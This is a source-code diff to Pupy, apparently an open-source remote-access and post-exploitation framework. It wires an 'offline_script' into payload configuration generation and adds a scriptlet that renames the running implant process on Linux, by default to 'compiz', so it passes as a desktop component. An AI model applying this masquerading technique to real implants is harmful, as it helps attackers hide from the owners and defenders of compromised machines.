diff --git a/pupy/pupygen.py b/pupy/pupygen.py index 5d57b2e0..6c2e0007 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -118,6 +118,7 @@ def get_raw_conf(conf, obfuscate=False): 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), + offline_script ]) return obf_func(config) diff --git a/pupy/scriptlets/hide_argv/__init__.py b/pupy/scriptlets/hide_argv/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/pupy/scriptlets/hide_argv/generator.py b/pupy/scriptlets/hide_argv/generator.py new file mode 100644 index 00000000..2a9fc0f9 --- /dev/null +++ b/pupy/scriptlets/hide_argv/generator.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms +import textwrap, random, string +from scriptlets import * + +class ScriptletGenerator(Scriptlet): + """ change pupy process's name """ + + dependencies=[("linux/all/pupystealth/change_argv.py","pupystealth.change_argv")] + arguments={ + 'name': 'ex: compiz' + } + + def __init__(self, name="compiz"): + self.name=name + + def generate(self): + return textwrap.dedent(""" + import sys + if sys.platform=="linux2": + import pupystealth.change_argv + pupystealth.change_argv.change_argv(argv={}) + """.format(repr(self.name))) + +